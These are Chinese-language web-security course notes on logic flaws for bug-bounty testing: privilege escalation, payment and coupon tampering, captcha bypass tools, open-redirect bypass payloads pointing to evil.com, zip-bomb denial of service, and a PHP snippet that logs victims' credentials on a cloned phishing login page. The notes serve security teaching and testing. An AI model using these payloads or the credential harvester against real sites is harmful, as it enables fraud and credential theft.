SRC

SRC
EZL1NG逻辑越权
类别
1、水平越权:同级别的用户之间权限的跨越
2、垂直越权:低级别用户到高级别用户权限的跨越
3、未授权访问:通过无级别用户能访问到需验证应用
检测工具
BP 检测插件:
xia_Yue 的 GitHub 地址:
auth-analyzer-plus 的 GitHub 地址:
检测项目:
GitHub 地址:
GitHub 地址:
更多参考:
第72天:WEB攻防-业务逻辑篇&水平越权&垂直越权&未授权访问&检测插件&SRC项目 – The-Starry-Sky
支付逻辑
思路点
- 支付逻辑 - 商品本身 - 修改 - 数量 & 价格 & 属性等
- 支付逻辑 - 营销折扣 - 优惠券 & 积分 & 签约 & 试用等
- 支付逻辑 - 订单接口 - 替换 & 并发 & 状态值 & 越权支付等
示例
修改数量
- 抓取订单数据包进行修改
篡改价格
- 抓取订单数据包,修改价格为 1
订单对冲
- 含义:
- 以 A 产品的价格订单去购买 B 产品的订单价格
- 对方只检测付款成功的状态,不考虑对应订单的产品,就会有这样的安全问题
替换支付
- 将产生支付页面,或者支付二维码的数据包进行替换,例如将支付 6000 的数据包,替换为支付 5400 的数据包
接口判断
- 购买商品进行支付时,抓取数据包,修改其调用接口为其他接口,如若可以重定向,将调用接口设置为对自己钱包的付款地址,或者将自己付款给自己,返回付款成功的响应
优惠券复用 (盗用)
含义
- 服用:重复使用
- 盗用:算出优惠券规律,如你的优惠券 id 为 1,则别人的可能为 2,3,4,5……
- 也可能是加密的值,逆向这个算法,自己修改为可用的优惠券编号
购买商品抓包进行分析,领取优惠券后,第一个订单不使用优惠券下单,第二个使用,对比分析数据不同
未使用优惠券数据包数据
1 | goods_sku_list=1%3A1&leavemessage=&use_coupon=0&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1 |
使用优惠券数据包数据
1 | goods_sku_list=1%3A1&leavemessage=&use_coupon=2&integral=0&account_balance=0&pay_type=0&buyer_invoice=&pick_up_id=0&express_company_id=1 |
积分对冲溢出
因为这里不让填负数,所以猜测这里是减法,是将积分值 - 兑换积分数 = 剩余积分数,或者是积分值 -(兑换积分数 * x) = 剩余积分数,x 为积分与钱钱兑换比例等等之类
这个是前端验证,所以直接抓包尝试修改
1
shopid=0&amount=11&surplus_type=1&act=act_account&submit=%E5%85%91%E6%8D%A2
这个是积分兑换余额的数据包数据,其中 amount 是兑换的积分数
尝试修改为负值进行放行,发现用户积分确实增加了,实际情况中应该对每个参数都进行测试,如 shopid 与 surplus_type 是否是控制积分兑换余额,将其进行修改测试
更多参考:
第73天:WEB攻防-支付逻辑篇&篡改属性值&并发签约&越权盗用&算法溢出&替换对冲 – The-Starry-Sky
机制验证
参考链接:
第74天:WEB攻防-机制验证篇&重定向发送&响应状态码&跳过步骤&验证码回传&枚举 – The-Starry-Sky
验证码安全篇
图片验证码
自带白嫖版 GitHub 地址:https://github.com/smxiazi/NEW_xp_CAPTCHA
Burp 加载插件
- 直接在插件里面加载 xp_CAPTCHA_v2.2.jdk.8.jar 或者 xp_CAPTCHA_v2.2.jdk.16.jar
运行监听 py 文件
- 在插件目录下的 NEW_xp_CAPTCHA 目录中,直接运行那个运行.bat 即可
- 没有 server 文件的可以直接在上面 github 地址里面下载,里面有
- 有个坑就是电脑名字不能是汉字的,不然会报错,py 文件里面有个地方获取计算机名
设置插件 - 验证码地址
在插件设置中进行设置
数据包验证码填入参数,根据插件你选择的验证码编号
发包线程设置 1 后开始
- 新版 bp 那个线程有点搞不明白怎么使,我没设置成功,一直给我返回验证码错误
接口收费版 GitHub 地址:https://github.com/smxiazi/xp_CAPTCHA
- Burp 加载插件
- 注册接口帐号充值
- 在 Guthub 地址里面有
- 设置插件 - 填入帐号
- 数据包验证码填入参数
- 发包线程设置 1 后开始
滑块验证码
burp suite 高端利用之编写宏规则绕过滑动验证码:
https://blog.csdn.net/shuryuu/article/details/104576559
- 同理也可以适用在 Token,sign 在页面代码中自动获取自动填入后绕过验证
不过只适用于这个滑块验证码,不同滑块验证码验证方式不同,这个是因为验证码校验值在加载好的页面中有显示,可以直接获取到,就可以使用 burp 的宏进行测试
更多参考:
第75天:WEB攻防-验证码安全篇&接口滥用&识别插件&复用绕过&宏命令填入&滑块类 – The-Starry-Sky
隐私合规SRC
主要针对小程序 (小程序可能需要逆向) 和 APP
对象:APP 小程序等,测试时即可测试目标的 app 或者小程序是否隐私合规
例如检测目标是否在偷偷监听、录音、获取信息等
具体:后续 APP 安全课程
appscan 官网:
- 推荐这个,这个是动态分析
- 不过需要 root 安卓手机并且打开 ADB 调试
appshark 的 GitHub 地址:https://github.com/bytedance/appshark
MobSF 也可以进行测试
- Windows – MobSF 安装参考:
- https://www.cnblogs.com/B-hai/p/15696948.html
- https://blog.csdn.net/ljh824144294/article/details/119181803
- 补充:自己搭建比较麻烦,容易出很多莫名问题,第 20 天课程中有一个 f8x 项目,可以自动化搭建,推荐使用这个来搭建。
- mobsf 分析 apk 后可以得到报告,查看报告内容
- 可以看到该 apk 需要使用到的权限,然后看使用 apk 时是否会有提示
URL 重定向
含义
- URL 重定向漏洞(URL redirection vulnerability),是一种常见的 Web 安全漏洞,由于网站 URL 重定向功能设计不当,没有验证跳转的目标 URL 是否合法,用户可通过此漏洞跳转到任意网站,这会导致可通过该网站跳转到存在木马、病毒的网站或者钓鱼网站。
黑盒
看业务
- 用户登录、统一身份认证处,认证完后会跳转
- 用户分享、收藏内容过后,会跳转
- 跨站点认证、授权后,会跳转
- 站内点击其它网址链接时,会跳转
看参数名
1 | redirect redirect_to redirect_url url jump jump_to target to link linkto domain |
比如可以使用 google 语法搜索:
1 | site:xxx.xxx inurl:?url= |
白盒看代码块
- Java
- response.sendRedirect(request.getParameter(“url”))
- PHP:
- $redirect_url = $_GET[‘url’];
- header(“Location: “ . $redirect_url)
- .NET:
- string redirect_url = request.QueryString[“url”];
- Response.Redirect(redirect_url);
- Django:
- redirect_url = request.GET.get(“url”)
- HttpResponseRedirect(redirect_url)
- Flask:
- redirect_url = request.form[‘url’]
- redirect(redirect_url)
- Rails:
- redirect_to params[:url]
跳转 url 绕过思路
单斜线 “/“ 绕过
1
https://www.landgrey.me/redirect.php?url=/www.evil.com
缺少协议绕过
1
https://www.landgrey.me/redirect.php?url=//www.evil.com
多斜线 “/“ 前缀绕过
1
https://www.landgrey.me/redirect.php?url=///www.evil.com https://www.landgrey.me/redirect.php?url=www.evil.com
利用 “@” 符号绕过
1
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
利用反斜线 “" 绕过
1
https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
利用 “#” 符号绕过
1
https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
利用 “?” 号绕过
1
https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
利用 “\“ 绕过
1
https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
利用 “.” 绕过
1
2
3
4https://www.landgrey.me/redirect.php?url=.evil
(可能会跳转到www.landgrey.me.evil域名)
https://www.landgrey.me/redirect.php?url=.evil.com
(可能会跳转到evil.com域名)重复特殊字符绕过
1
2https://www.landgrey.me/redirect.php?url=///www.evil.com//..
https://www.landgrey.me/redirect.php?url=www.evil.com//..
钓鱼配合
使用 Teleport Ultra 工具将目标网站整个页面爬取下来
下载使用可参考:https://blog.csdn.net/qq_44035882/article/details/127531747
自己会用什么语言,就用什么语言写劫持代码,如这里使用 php,将原本的 login.html 修改为 login.php
1
2
3
4
5
6
7
8
9
10
11
12
13在文件开头添加php代码
<?php
$u=$_POST['username'];
$p=$_POST['password'];
$f=fopen('pass.txt','a+');
fwrite($f,$u."|".$p."\n");
fclose($f);
?>
使用form包裹输入用户名密码的地方,将用户名密码提交到当前文件
<form action="login.php" method="POST">
提交参数名记得要和php代码中的对应
</form>这样用户名密码就会保存到 pass.txt 中
资源拒绝服务
- 功能 1:网站验证码或图片可以自定义显示大小
- 将大小设置为很大,将服务器 cpu 拉满,达到拒绝服务的目的
- 功能 2:网站可以上传压缩包解压循环
- 压缩包里面还是压缩包 (套娃即压缩包炸弹) 造成资源占用,达到拒绝服务的目的
- 压缩包炸弹和测试页面的网盘链接:
- 需要看网站本身是做什么功能的,要根据网站功能决定